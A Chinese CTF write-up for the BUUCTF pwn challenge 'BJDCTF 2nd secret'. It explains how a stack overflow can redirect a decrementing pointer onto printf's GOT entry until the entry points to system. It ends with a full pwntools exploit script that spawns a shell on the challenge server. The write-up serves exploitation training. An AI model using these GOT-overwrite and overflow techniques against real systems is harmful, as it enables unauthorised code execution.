[BUUCTF-pwn]——[BJDCTF 2nd]secret

[BUUCTF-pwn]——[BJDCTF 2nd]secret

这道题目,看就考验你的汇编能力了。

因为在反汇编的过程中,有一个函数过大,无法反汇编
在IDA中看到一个格外令人喜欢的东西,可是if 的条件无法反汇编。
在这里插入图片描述
进入汇编查看, 必须要这样下去,才可以往下面一看绝望呀。超级多

在这里插入图片描述
最后才给你赋值为0,虽然这样可以暴力破解,但是弄成千上万次,也够麻烦的。想要尝试的朋友可以试试。
在这里插入图片描述

既然上面那种方法太过于,笨重。接着看代码,发现
在这里插入图片描述
如果我们将printf的got表改为system的plt. 同时 buf写入我们想要的 “/bin/sh" 或者 ” cat flag" 问题也就可以解决。

最后发现他们距离仅仅0x10也就是16
在这里插入图片描述
在这里插入图片描述

同时,我们发现每次转跳都会执行,
在这里插入图片描述

在这里插入图片描述
瞌睡了送枕头, 发现里面这个东西每次都会减一而且用的是*, 也就是如果这个是printf_got的话,每次都会让got中的内容减一。

而它距离buf仅仅0x10,完全可以利用栈溢出进行覆盖
在这里插入图片描述

思路

修改off_46D090, 为printf_got。
转跳15次,也就是减去16
使得printf_got指向system

exploit

from pwn import *
 
#p = process('./secret')
p = remote('node3.buuoj.cn',26938)
elf = ELF('./secret')
printf_got = elf.got['printf']
 
keys = [0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]

payload = '/bin/sh\x00'.ljust(0x10,'a') + p32(printf_got)
p.sendafter("What's your name?",payload)
for key in keys:
   p.sendlineafter('Secret:',str(key))
p.sendlineafter('Secret:','5201314')
 
p.interactive()
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值